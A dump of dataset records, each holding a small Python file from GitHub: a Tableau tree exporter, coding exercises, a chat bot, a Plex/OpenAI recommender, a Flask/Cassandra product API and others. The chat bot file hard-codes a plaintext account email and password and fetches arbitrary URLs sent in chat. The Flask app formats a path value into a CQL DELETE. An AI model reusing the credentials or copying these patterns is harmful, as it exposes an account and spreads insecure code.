optype)\n operator = (\"\" if self.predicate.value is None else\n PYTHON_OPERATOR[self.predicate.operator])\n if self.predicate.value is None:\n pre_condition = (\n T_MISSING_OPERATOR[self.predicate.operator])\n post_condition = \")\"\n\n conditions.append(\"%s[%s]%s%s%s\" % (\n pre_condition,\n self.fields[self.predicate.field]['name'],\n operator,\n value,\n post_condition))\n\n def plug_in_body(self, body=u\"\", conditions=None, cmv=None,\n ids_path=None, subtree=True, attr=None):\n \"\"\"Translate the model into a set of \"if\" statemets in tableau syntax\n\n `depth` controls the size of indentation. As soon as a value is missing\n that node is returned without further evaluation.\n\n \"\"\"\n\n if cmv is None:\n cmv = []\n\n if body:\n alternate = u\"ELSEIF\"\n else:\n if conditions is None:\n conditions = []\n alternate = u\"IF\"\n\n children = filter_nodes(self.children, ids=ids_path,\n subtree=subtree)\n if children:\n\n field = split(children)\n has_missing_branch = (missing_branch(children) or\n none_value(children))\n # the missing is singled out as a special case only when there's\n # no missing branch in the children list\n one_branch = not has_missing_branch or \\\n self.fields[field]['optype'] in COMPOSED_FIELDS\n if (one_branch and\n not self.fields[field]['name'] in cmv):\n body += self.missing_check_code(field, alternate, cmv,\n conditions, attr=attr)\n alternate = u\"ELSEIF\"\n\n for child in children:\n pre_condition = u\"\"\n post_condition = u\"\"\n if has_missing_branch and child.predicate.value is not None:\n pre_condition = self.missing_prefix_code(child, field, cmv)\n post_condition = u\")\"\n\n child.split_condition_code(field, conditions,\n pre_condition, post_condition)\n\n body = child.plug_in_body(body, conditions[:], cmv=cmv[:],\n ids_path=ids_path, subtree=subtree,\n attr=attr)\n del conditions[-1]\n else:\n if attr is None:\n value = value_to_print( \\\n self.output, self.fields[self.objective_id]['optype'])\n else:\n value = getattr(self, attr)\n body += u\"%s %s THEN\" % (alternate, \" AND \".join(conditions))\n body += u\" %s\\n\" % value\n\n return body\n","repo_name":"RuiSUN1124/bigmler","sub_path":"bigmler/export/out_tree/tableautree.py","file_name":"tableautree.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"73629622802","text":"# 08-03. TEXT PROCESSING [More Exercises]\n# 01. Extract Person Information\n\nspecial_char = ['@', '|', '#', '*']\nn = int(input())\n\nfor i in range(n):\n line = input()\n idx = {}\n for j, char in enumerate(line):\n if char in special_char:\n idx[char] = j\n name = line[idx['@']+1:idx['|']]\n age = line[idx['#']+1:idx['*']]\n print(f'{name} is {age} years old.')\n","repo_name":"emma-metodieva/SoftUni_Python_Fundamentals_202009","sub_path":"08. TEXT PROCESSING/08-03-01. Extract Person Information.py","file_name":"08-03-01. Extract Person Information.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34697463218","text":"import requests, json\nfrom datetime import datetime\nfrom get_messagesV2 import get_messagesV3\nfrom time import sleep\nfrom login import loginV2\nfrom send_message import send_messageV2\nfrom send_html_message import send_html_messageV2\nfrom send_html_with_url import send_html_message_with_urlV2\nfrom get_list import get_listV2\n\ncl_uid = loginV2(\"devchatbot1@gmail.com\", \"kouta10143\")[\"uid\"]\nwhile True:\n #try:\n sleep(1)\n joined_groups = loginV2(\"devchatbot1@gmail.com\", \"kouta10143\")[\"group\"]\n for group in joined_groups:\n sleep(1)\n gid = group[\"gid\"]\n messages = get_messagesV3(\"devchatbot1@gmail.com\", \"kouta10143\", gid)\n last_message = messages[-1]\n text = last_message[\"content\"]\n if text == \"こんにちは\":\n send_messageV2(cl_uid, gid, \"こんにちは~\")\n elif text == \"おはよう\":\n send_messageV2(cl_uid, gid, \"は?(困惑)\")\n elif text.startswith(\"get:\"):\n url = text.replace(\"get:\", \"\")\n print(url)\n send_html_message_with_urlV2(cl_uid, gid, url)\n elif text.startswith(\"mget:\"):\n url = text.replace(\"mget:\", \"\")\n r = requests.get(url=url).text\n send_html_messageV2(cl_uid, gid, r)\n elif text in [\"now\", \"今何時?\", \"現在時刻\"]:\n send_messageV2(cl_uid, gid, datetime.now().strftime('%Y/%m/%d %H:%M:%S'))\n #except Exception as e:\n # print(e)","repo_name":"koutamanto/DevChatAPI","sub_path":"test/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13043737937","text":"# Amy Shamraj\r\n# INF 308\r\n\r\n# Project Description:\r\n# Degree Conversion calucator has been updated with a start menu which allows for conversion of both types of degrees.\r\n# It also includes serveral useful tools such as functions, tuples, etc. which improve upon code readability and reuseability.\r\n# There is also a substantial improvement in overall functionality and efficiency which furthermore promotes good programming practices.\r\n\r\nmenu = False # defined menu variable to false\r\n\r\nclass Conversions: # parent class\r\n def __init__(self, type): # instantiate\r\n self.type = type # type string\r\n\r\n def get_type(self): # get type string\r\n return self.type\r\n \r\nclass ftoc(Conversions): # child class \r\n def convert(self): # function defined for Fahrenheit to Celsius conversion\r\n # int for number input\r\n Fahrenheit = int(input(\"Please enter the temperature in Fahrenheit. \"))\r\n # returns a tuple of Fahrenheit and the conversion\r\n return Fahrenheit, (Fahrenheit - 32) * (5/9)\r\n\r\nclass ctof(Conversions): # child class \r\n def convert(self): # function defined for Celisus to Fahrenheit conversion\r\n # int for number input\r\n Celsius = int(input(\"Please enter the temperature in Celsius. \"))\r\n # returns a tuple of Celsius and the conversion\r\n return Celsius, ((Celsius * (9/5)) + 32)\r\n\r\n\r\nwhile menu != True: # loop for menu to return and try different conversions\r\n ConversionType = input(\r\n \"Please select a conversion type. \\n 1 = F to C \\n 2 = C to F \\n 3 = Quit \\nAnswer: \") # menu\r\n\r\n if ConversionType == \"1\":\r\n fartocel = Conversions(\"Fahrenheit to Celsius Conversion\") # type = string\r\n print(fartocel.get_type()) # print string\r\n # set tuple of Fahrenheit and Celsius equal to appropraite conversion function\r\n Fahrenheit, Celsius = ftoc.convert(fartocel) # tuple is equal to function from child class\r\n print(Fahrenheit, \"Fahrenheit in Celsius is\", Celsius)\r\n\r\n elif ConversionType == \"2\":\r\n celtofar = Conversions(\"Celsius to Fahrenheit Conversion\") # type = string\r\n print(celtofar.get_type()) # print string\r\n # set tuple of Celsius and Fahrenheit equal to appropriate conversion function\r\n Celsius, Fahrenheit = ctof.convert(celtofar) # tuple is equal to function from child class\r\n print(Celsius, \"Celsius in Fahrenheit is\", Fahrenheit)\r\n\r\n elif ConversionType == \"3\":\r\n break # exit menu loop\r\n\r\n else:\r\n print(\"Invalid choice! \") # exception for unexpected answer\r\n","repo_name":"a1shamraj/python-projects","sub_path":"degreeConversionUpdate.py","file_name":"degreeConversionUpdate.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18189942043","text":"import logging\r\nimport os\r\nimport time\r\nimport openai\r\nfrom plexapi.server import PlexServer\r\nfrom utils.classes import UserInputs\r\n\r\nuserInputs = UserInputs(\r\n plex_url=os.getenv(\"PLEX_URL\"),\r\n plex_token=os.getenv(\"PLEX_TOKEN\"),\r\n openai_key=os.getenv(\"OPEN_AI_KEY\"),\r\n library_name=os.getenv(\"LIBRARY_NAME\"),\r\n collection_title=os.getenv(\"COLLECTION_TITLE\"),\r\n history_amount=int(os.getenv(\"HISTORY_AMOUNT\")),\r\n recommended_amount=int(os.getenv(\"RECOMMENDED_AMOUNT\")),\r\n minimum_amount=int(os.getenv(\"MINIMUM_AMOUNT\")),\r\n wait_seconds=int(os.getenv(\"SECONDS_TO_WAIT\", 86400)),\r\n)\r\n\r\nlogger = logging.getLogger()\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\nopenai.api_key = userInputs.openai_key\r\n\r\ndef create_collection(plex, movie_items, description, library):\r\n logging.info(\"Finding matching movies in your library...\")\r\n movie_list = []\r\n for item in movie_items:\r\n movie_search = plex.search(item, mediatype=\"movie\", limit=3)\r\n if len(movie_search) > 0:\r\n movie_list.append(movie_search[0])\r\n logging.info(item + \" - found\")\r\n else:\r\n logging.info(item + \" - not found\")\r\n\r\n if len(movie_list) > userInputs.minimum_amount:\r\n try:\r\n collection = library.collection(userInputs.collection_title)\r\n collection.removeItems(collection.items())\r\n collection.addItems(movie_list)\r\n collection.editSummary(description)\r\n logging.info(\"Updated pre-existing collection\")\r\n except:\r\n collection = plex.createCollection(\r\n title=userInputs.collection_title,\r\n section=userInputs.library_name,\r\n items=movie_list\r\n )\r\n collection.editSummary(description)\r\n logging.info(\"Added new collection\")\r\n else:\r\n logging.info(\"Not enough movies were found\")\r\n\r\ndef run():\r\n # Connect\r\n while True:\r\n logger.info(\"Starting collection run\")\r\n try:\r\n plex = PlexServer(userInputs.plex_url, userInputs.plex_token)\r\n logging.info(\"Connected to Plex server\")\r\n except Exception as e:\r\n logging.error(\"Plex Authorization error\")\r\n return\r\n\r\n try:\r\n # Find history items for the library\r\n library = plex.library.section(userInputs.library_name)\r\n account_id = plex.systemAccounts()[1].accountID\r\n\r\n # a = library.hubs()\r\n\r\n items_string = \"\"\r\n history_items_titles = []\r\n watch_history_items = plex.history(librarySectionID=library.key, maxresults=userInputs.history_amount, accountID=account_id)\r\n logging.info(\"Fetching items from your watch history\")\r\n\r\n for history_item in watch_history_items:\r\n history_items_titles.append(history_item.title)\r\n\r\n items_string = \", \".join(history_items_titles)\r\n logging.info(\"Found \" + items_string + \" to base recommendations off\")\r\n\r\n except Exception as e:\r\n logging.error(\"Failed to get watched items\")\r\n return\r\n\r\n try:\r\n query = \"Can you give me movie recommendations based on what I've watched? \"\r\n query += \"I've watched \" + items_string + \". \"\r\n query += \"Can you base your recommendations solely on what I've watched already. \"\r\n query += \"I need around \" + str(userInputs.recommended_amount) + \". \"\r\n query += \"Please give me the comma separated result, and then a short explanation separated from the movie values, separated by 3 pluses like '+++'.\"\r\n query += \"Not a numbered list. \"\r\n\r\n # create a chat completion\r\n logging.info(\"Querying openai for recommendations...\")\r\n chat_completion = openai.ChatCompletion.create(model=\"gpt-3.5-turbo\", messages=[{\"role\": \"user\", \"content\": query}])\r\n ai_result = chat_completion.choices[0].message.content\r\n ai_result_split = ai_result.split(\"+++\")\r\n ai_movie_recommendations = ai_result_split[0]\r\n ai_movie_description = ai_result_split[1]\r\n\r\n movie_items = list(filter(None, ai_movie_recommendations.split(\",\")))\r\n logging.info(\"Query success!\")\r\n except:\r\n logging.error('Was unable to query openai')\r\n return\r\n\r\n if len(movie_items) > 0:\r\n create_collection(plex, movie_items, ai_movie_description, library)\r\n\r\n logging.info(\"Waiting on next call...\")\r\n time.sleep(userInputs.wait_seconds)\r\n\r\nif __name__ == '__main__':\r\n run()","repo_name":"rocstack/plex-recommendations-ai","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"} +{"seq_id":"911335076","text":"import sys, os\nfrom Bio.PDB.NeighborSearch import NeighborSearch\n\ndef getInterface(struct, useCA=True, res2res_dist=8):\n if useCA:\n atomList = [atom for atom in struct[0].get_atoms() if atom.name.startswith(\"CA\")]\n else:\n atomList = [atom for atom in struct[0].get_atoms() if not atom.name.startswith(\"H\")]\n chains= struct[0].child_list\n searcher= NeighborSearch(atomList)\n allNeigs= searcher.search_all(res2res_dist, level= \"R\")\n residuesBindingSitePerChain={chain.get_id():{\"bindingSite\":[]} for chain in chains}\n for res1,res2 in allNeigs:\n pdbId1, modelId1, chainId1, resId1 = res1.get_full_id()\n pdbId2, modelId2, chainId2, resId2 = res2.get_full_id()\n if chainId1 !=chainId2:\n residuesBindingSitePerChain[chainId1][\"bindingSite\"].append( res1.get_id())\n residuesBindingSitePerChain[chainId2][\"bindingSite\"].append( res2.get_id())\n\n return residuesBindingSitePerChain\n \n \nif __name__ ==\"__main__\":\n from Bio.PDB.PDBParser import PDBParser\n struct= PDBParser().get_structure(sys.argv[1], os.path.expanduser(sys.argv[1]))\n residues= getInterface(struct)\n print(residues)\n","repo_name":"rsanchezgarc/BIPSPI","sub_path":"pythonTools/getResInInterface.py","file_name":"getResInInterface.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"32320339813","text":"from flask import Flask, request, jsonify, json\nfrom cassandra.cluster import Cluster\nimport requests\nimport sys\n\ncluster = Cluster(['cassandra'])\nsession = cluster.connect()\n\napp = Flask(__name__)\n\nbase_url = \"http://makeup-api.herokuapp.com/api/v1/products.json?brand=maybelline\"\n\n\n@app.route('/')\ndef hello():\n\tname = request.args.get('name', 'World')\n\treturn ('

    Hello, {}!

    '.format(name))\n\n#get product from database\n@app.route('/product/', methods=['GET'])\ndef get_product_by_id(id):\n\n\trows = session.execute(\"\"\"SELECT * FROM makeup.products WHERE id=%(id)s\"\"\",{'id': id})\n\tdata = None\n\n\tfor row in rows:\n\t\tdata = row\n\t\tprint(row)\n\n\t#product_url = basee_url.format()\n\n\tresp = requests.get(base_url)\n\n\tif resp.ok:\n\t\t# print(resp.json())\n\n\t\tres = resp.json()\n\n\t\tmatched = None\n\t\tfor product in res:\n\t\t\tif product['id'] == id:\n\t\t\t\tmatched = product\n\t\t\t\tbreak\n\n\n\t\titem = {\n\t\t\t'id': id,\n\t\t\t'name': data.name,\n\t\t\t'price': matched['price'],\n\t\t\t'description': matched['description']\n\t\t}\n\n\n\t\treturn jsonify(item), resp.status_code\n\telse:\n\t\treturn resp.reason\n\n\n#insert product into database\n@app.route('/items', methods= ['POST'])\ndef create_product():\n\n\tresp = requests.get(base_url)\n\n\tif resp.ok:\n\t\t# print(resp.json())\n\n\t\tres = resp.json()\n\n\t\tmatched = None\n\t\tprint('request',request.form['id'])\n\n\t\tfor product in res:\n\t\t\tif product['id'] == int(request.form['id']):\n\t\t\t\tmatched = product\n\t\t\t\tbreak\n\t\tprint(request.form['id'])\n\t\tprint(request.form['name'])\n\t\tprint(matched)\n\n\n\tcount_rows = session.execute(\"SELECT COUNT(*) FROM smartcart.products\")\n\n\tfor c in count_rows:\n\t\tlast_id = c.count\n\tlast_id += 1\n\n\n\t# print(request.args)\n\tresp = session.execute(\"INSERT INTO makeup.products(id,brand,description,name,price) VALUES(%s, %s, %s, %s, %s)\", (int(request.form['id']),'maybelline', request.form['description'],request.form['name'], matched['price']))\n\n\tprint('done')\n\n\treturn jsonify({'message': 'added'}), 201\n\n#delete product from database by itemid\n@app.route('/deleteproduct/', methods = ['DELETE'])\ndef delete_product_by_id(id):\n\t\n\tprint('before delete')\n\tresp = session.execute(\"\"\"DELETE FROM makeup.products WHERE id={}\"\"\".format(id))\n\n\treturn jsonify({'message': 'deleted'.format(id)}), 200\n\n#edit product into database\n@app.route('/editproduct/', methods = ['PUT'])\ndef update_product(id):\n\n\tprint('inside put')\n\n\t\n\n\tprint('inside update')\n\trows = session.execute(\"\"\"UPDATE makeup.products SET name=%(name)s, brand=%(brand)s ,description=%(description)s,price=%(price)s WHERE id=%(id)s\"\"\", {'name': request.form['name'], 'id': id, 'brand': 'maybelline', 'description':request.form['description'], 'price': request.form['price']})\n\n\tprint('after update')\n\n\treturn jsonify({'message':'1'.format(id)}), 200\n\n\nif __name__ == '__main__':\n\tapp.run(host='0.0.0.0', port=8080)\n","repo_name":"lingting1121/makeup","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1976838527","text":"# 코딩테스트 연습 / 2019 카카오 개발자 겨울 인턴십 / 튜플\n\n# 다른사람 풀이\n# import re\n# from collections import Counter\n\n# def solution(s):\n# s = Counter(re.findall('\\d+', s))\n# return list(map(int, [k for k, v in sorted(s.items(), key=lambda x: x[1], reverse=True)]))\n\n\ndef solution(s):\n answer = []\n # 입력값 파싱, 길이별로 정렬\n s_list = s[2:-2].split('},{')\n s_list.sort(key=len)\n \n # 차집합을 사용해서 하나씩 추가\n cur_set = set()\n for obj in s_list:\n obj_set = set(map(int,obj.split(',')))\n diff = list(obj_set - cur_set)\n cur_set = obj_set\n answer.append(diff[0])\n \n return answer\n\n# test case / answer = 2\nprint(solution(\"{{2},{2,1},{2,1,3},{2,1,3,4}}\"))","repo_name":"whitem4rk/2023-algorithm-study","sub_path":"LEVEL 2/tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23871418505","text":"\"\"\"Baseclass for system fixup.\"\"\"\nfrom abc import ABC, abstractmethod\nimport logging\n\nfrom ...coresys import CoreSys, CoreSysAttributes\nfrom ...exceptions import ResolutionFixupError\nfrom ..const import ContextType, IssueType, SuggestionType\nfrom ..data import Issue, Suggestion\n\n_LOGGER: logging.Logger = logging.getLogger(__name__)\n\n\nclass FixupBase(ABC, CoreSysAttributes):\n \"\"\"Baseclass for fixup.\"\"\"\n\n def __init__(self, coresys: CoreSys) -> None:\n \"\"\"Initialize the fixup class.\"\"\"\n self.coresys = coresys\n\n async def __call__(self, fixing_suggestion: Suggestion | None = None) -> None:\n \"\"\"Execute the evaluation.\"\"\"\n if not fixing_suggestion:\n # Get suggestion to fix\n fixing_suggestion: Suggestion | None = next(\n iter(self.all_suggestions), None\n )\n\n # No suggestion\n if fixing_suggestion is None:\n return\n\n # Process fixup\n _LOGGER.debug(\"Run fixup for %s/%s\", self.suggestion, self.context)\n try:\n await self.process_fixup(reference=fixing_suggestion.reference)\n except ResolutionFixupError:\n return\n\n # Cleanup issue\n for issue in self.sys_resolution.issues_for_suggestion(fixing_suggestion):\n self.sys_resolution.dismiss_issue(issue)\n\n if fixing_suggestion in self.sys_resolution.suggestions:\n self.sys_resolution.dismiss_suggestion(fixing_suggestion)\n\n @abstractmethod\n async def process_fixup(self, reference: str | None = None) -> None:\n \"\"\"Run processing of fixup.\"\"\"\n\n @property\n @abstractmethod\n def suggestion(self) -> SuggestionType:\n \"\"\"Return a SuggestionType enum.\"\"\"\n\n @property\n @abstractmethod\n def context(self) -> ContextType:\n \"\"\"Return a ContextType enum.\"\"\"\n\n @property\n def issues(self) -> list[IssueType]:\n \"\"\"Return a IssueType enum list.\"\"\"\n return []\n\n @property\n def auto(self) -> bool:\n \"\"\"Return if a fixup can be apply as auto fix.\"\"\"\n return False\n\n @property\n def all_suggestions(self) -> list[Suggestion]:\n \"\"\"List of all suggestions which when applied run this fixup.\"\"\"\n return [\n suggestion\n for suggestion in self.sys_resolution.suggestions\n if suggestion.type == self.suggestion and suggestion.context == self.context\n ]\n\n @property\n def all_issues(self) -> list[Issue]:\n \"\"\"List of all issues which could be fixed by this fixup.\"\"\"\n return [\n issue\n for issue in self.sys_resolution.issues\n if issue.type in self.issues and issue.context == self.context\n ]\n\n @property\n def slug(self) -> str:\n \"\"\"Return the check slug.\"\"\"\n return self.__class__.__module__.rsplit(\".\", maxsplit=1)[-1]\n","repo_name":"home-assistant/supervisor","sub_path":"supervisor/resolution/fixups/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":1510,"dataset":"github-code","pt":"3"} +{"seq_id":"24247458898","text":"import RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(2, GPIO.OUT)\n\np = GPIO.PWM(2, 100)\n\ntry:\n p.start(0)\n while True:\n num = float(input(\"Введите коэффициент заполнения: \"))\n p.ChangeDutyCycle(num)\n print(\"Предполагаемое напряжение\", 3.3 * num/100)\n\nexcept ValueError:\n p.stop()\n\nfinally:\n GPIO.cleanup()\n\n","repo_name":"ilushenka/CAP-ADC","sub_path":"4-3-pwm.py","file_name":"4-3-pwm.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31061694268","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport numpy as np\n\n\n# In[6]:\n\n\nname_list = ['小明','小華','小菁','小美','小張','John','Mark','Tom']\n\nsex_list = ['boy','boy','girl','girl','boy','boy','boy','boy']\n\nweight_list = [67.5,75.3,50.1,45.5,80.8,90.4,78.4,70.7]\n\nrank_list = [8,1,5,4,7,6,2,3]\n\nmyopia_list = [True,True,False,False,True,True,False,False]\n\n\n# In[7]:\n\n\ndt = np.dtype({'names' : ('name', 'sex', 'weight', 'rank', 'myopia'), 'formats' : ((np.str_, 5), (np.str_, 5), np.float, int, bool)})\n\n\n# In[8]:\n\n\narray1 = np.zeros(8, dtype = dt)\narray1\n\n\n# In[9]:\n\n\narray1['name'] = name_list\narray1['sex'] = sex_list\narray1['weight'] = weight_list\narray1['rank'] = rank_list\narray1['myopia'] = myopia_list\n\n\n# In[10]:\n\n\narray1\n\n\n# In[11]:\n\n\nprint(\"average weight = \", np.mean(array1['weight']))\n\n\n# In[12]:\n\n\nprint(\"Boys' average weight = \", np.mean(array1[array1['sex'] == 'boy']['weight']))\n\n\n# In[13]:\n\n\nprint(\"Girls' average weight = \", np.mean(array1[array1['sex'] == 'girl']['weight']))\n\n","repo_name":"linhn0617/ML100Days","sub_path":"homework/Day_008_HW.py","file_name":"Day_008_HW.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26334898890","text":"import os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../../tools'))\n\nimport files\n\n\n'''\n submitted code:\n\n def toys(P, K):\n C = 0\n for p in sorted(P):\n K -= p\n if K < 0:\n break\n C += 1\n\n return C\n\n\n def main():\n N, K = [int(i) for i in input().split()]\n P = [int(i) for i in input().split()]\n\n print(toys(P, K))\n\n\n if __name__ == \"__main__\":\n main()\n\n'''\n\ndef toys(P, K):\n C = 0\n for p in sorted(P):\n K -= p\n if K < 0:\n break\n C += 1\n\n return C\n\n\ndef main(argv):\n lines = files.read_lines_of_ints(argv[0])\n N, K = lines[0]\n P = lines[1]\n\n print(toys(P, K))\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"cowboysmall-comp/hackerrank","sub_path":"src/algorithms/greedy/mark_and_toys.py","file_name":"mark_and_toys.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34679413398","text":"from sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import classification_report\n\ntrainData = pd.read_csv('TrainData.csv', header=None, delimiter=' ').values\ntrainData = np.nan_to_num(trainData)\ntestData = pd.read_csv('TestData.csv', header=None, delimiter=' ').values\ntestData = np.nan_to_num(testData)\ntrainX = trainData[:, 0:-1]\ntrainY = trainData[:, -1]\ntrainX, validationX, trainY, validationY = train_test_split(trainX, trainY, test_size=0.2, random_state=42)\n\nclf = KNeighborsClassifier()\nclf.fit(trainX, trainY)\nPredictY = clf.predict(validationX)\nprint(classification_report(validationY, PredictY))\n\nResult = clf.predict(testData).astype(np.str_)\nResult[Result == '0.0'] = 'no'\nResult[Result == '1.0'] = 'yes'\nID = np.loadtxt(\"queries.csv\", delimiter=',', dtype=np.str_)\nID = np.vstack((ID[:, 0], Result))\nnp.savetxt(\"result.csv\", ID.T, fmt=\"%s,%s\")\n","repo_name":"jianyuhe/Machine_Learn","sub_path":"Cluter.py","file_name":"Cluter.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18128015477","text":"from django.conf.urls import patterns, url\nfrom store import views\n\nurlpatterns = patterns('',\n url(r'^$', views.listProducts2, name='listProducts'),#se supone q esto termina asi store/ lo cual en las url de abajo no e necesita poner /product/ solo product/\n url(r'^product/(?P\\d+)/$', views.detailProduct, name='detailProduct'),#/store/product/2/\n url(r'^order/(?P\\d+)/$', views.detailPurchaseOrder, name='detailPurchaseOrder'),#/store/order/2/\n url(r'^addproduct/$', views.addProduct, name='addProduct'),\n url(r'^destaddproduct/$', views.destAddProduct, name='destAddProduct'),\n url(r'^carrito/$', views.carrito, name='carrito'),\n url(r'^process/$', views.destLogin, name='destLogin'),\n url(r'^logout/$', views.logoutView, name='logout'),\n url(r'^signup/$', views.signUp, name='signUp'),\n url(r'^destSignUp/$', views.destSignUp, name='destSignUp'),\n url(r'^user/(?P\\d+)/$', views.perfil, name='perfil'),#/store/product/2/\n url(r'^coment/$', views.destComent, name='destComent'),\n url(r'^carrito/$', views.carrito, name='carrito'),\n)\n","repo_name":"Rodarc20/wstore","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"195647035","text":"import csv\nfrom classes.Person import Person\n\nclass Student(Person):\n\n def all_students():\n all_studs = []\n with open('/Users/lamberto/codeExercises/Day8/oop-school-interface-i/data/students.csv') as f: \n reader = csv.DictReader(f)\n \n for row in reader:\n all_studs.append(row)\n \n return(all_studs)\n \n","repo_name":"saltydog1980/oop-school-interface-i","sub_path":"classes/Student.py","file_name":"Student.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19547114385","text":"from abc import ABC\n\nfrom singer import write_record, metadata, write_schema, get_logger, metrics, utils\n\nfrom ..helpers import convert, get_bookmark, write_bookmark\nfrom ..helpers.transformer import Transformer\nfrom ..helpers.exceptions import NoDeduplicationCapabilityException\nfrom ..helpers.perf_metrics import PerformanceMetrics\nfrom ..helpers.datetime_utils import utc_now, str_to_datetime, datetime_to_utc_str, str_to_localized_datetime\n\nLOGGER = get_logger()\n\n\nclass TapProcessor(ABC):\n def __init__(self, catalog, stream_name, client, config, state, sub_type, generators):\n self.start_time = utc_now()\n self.generators = generators\n self.generator_values = dict()\n for generator in self.generators:\n self.generator_values[generator.__iter__()] = None\n self.catalog = catalog\n self.stream_name = stream_name\n self.client = client\n self.config = config\n self.state = state\n self.sub_type = sub_type\n self.stream = self.catalog.get_stream(stream_name)\n self.schema = self.stream.schema.to_dict()\n self.stream_metadata = metadata.to_map(self.stream.metadata)\n self._init_config()\n self._init_endpoint_config()\n self._init_bookmarks()\n LOGGER.info(f'(processor) Stream {self.stream_name} - bookmark value used: {self.last_bookmark_value}')\n\n def _init_config(self):\n self.start_date = self.config.get('start_date')\n\n def _init_endpoint_config(self):\n self.endpoint_child_streams = []\n self.endpoint_id_field = \"id\"\n\n if len(self.generators) > 1:\n raise NoDeduplicationCapabilityException(\"In order to merge streams in the processor, \"\n \"you need to use the deduplication processor\")\n\n def _init_bookmarks(self):\n self.last_bookmark_value = get_bookmark(self.state, self.stream_name, self.sub_type, self.start_date)\n self.max_bookmark_value = self.last_bookmark_value\n\n def write_schema(self):\n stream = self.catalog.get_stream(self.stream_name)\n schema = stream.schema.to_dict()\n try:\n write_schema(self.stream_name, schema, stream.key_properties)\n except OSError as err:\n LOGGER.info(f'OS Error writing schema for: {self.stream_name}')\n raise err\n\n def process_records(self):\n record_count = 0\n with metrics.record_counter(self.stream_name) as counter:\n for record in self.generators[0]:\n # Process the record\n with PerformanceMetrics(metric_name=\"processor\"):\n is_processed = self.process_record(record, utils.now(),\n self.generators[0].endpoint_bookmark_field)\n if is_processed:\n record_count += 1\n self._process_child_records(record)\n counter.increment()\n return record_count\n\n def process_streams_from_generators(self):\n self.write_schema()\n\n record_count = self.process_records()\n self.write_bookmark()\n return record_count\n\n # This function is provided for processors with child streams, must be overridden if child streams are to be used\n def _process_child_records(self, record):\n pass\n\n def _update_bookmark(self, transformed_record, bookmark_field):\n bookmark_field = convert(bookmark_field)\n if bookmark_field and (bookmark_field in transformed_record):\n bookmark_dttm = str_to_datetime(transformed_record[bookmark_field])\n max_bookmark_value_dttm = str_to_datetime(self.max_bookmark_value)\n if bookmark_dttm > max_bookmark_value_dttm:\n self.max_bookmark_value = datetime_to_utc_str(min(bookmark_dttm, self.start_time))\n\n def _is_record_past_bookmark(self, transformed_record, bookmark_field):\n bookmark_field = convert(bookmark_field)\n\n # If stream doesn't have a bookmark field or the record doesn't contain the stream's bookmark field\n if not bookmark_field or (bookmark_field not in transformed_record):\n return True\n\n # Keep only records whose bookmark is after the last_datetime\n if str_to_localized_datetime(transformed_record[bookmark_field]) >= \\\n str_to_localized_datetime(self.last_bookmark_value):\n return True\n return False\n\n def process_record(self, record, time_extracted, bookmark_field):\n with Transformer() as transformer:\n transformed_record = transformer.transform(record,\n self.schema,\n self.stream_metadata)\n\n self._update_bookmark(transformed_record, bookmark_field)\n if self._is_record_past_bookmark(transformed_record, bookmark_field):\n try:\n write_record(self.stream_name,\n transformed_record,\n time_extracted=time_extracted)\n except OSError as err:\n LOGGER.info(f'OS Error writing record for: {self.stream_name}')\n LOGGER.info(f'record: {transformed_record}')\n raise err\n\n return True\n return False\n\n def write_bookmark(self):\n if all([generator.endpoint_bookmark_field for generator in self.generators]):\n write_bookmark(self.state,\n self.stream_name,\n self.sub_type,\n self.max_bookmark_value)\n","repo_name":"singer-io/tap-mambu","sub_path":"tap_mambu/tap_processors/processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"70438400721","text":"import math\n\njari = float(input(\"Masukan Jari-jari Bejana : \"))\ntinggi = float(input(\"Masukan Tinggi Bejana : \"))\n\nluas = 2 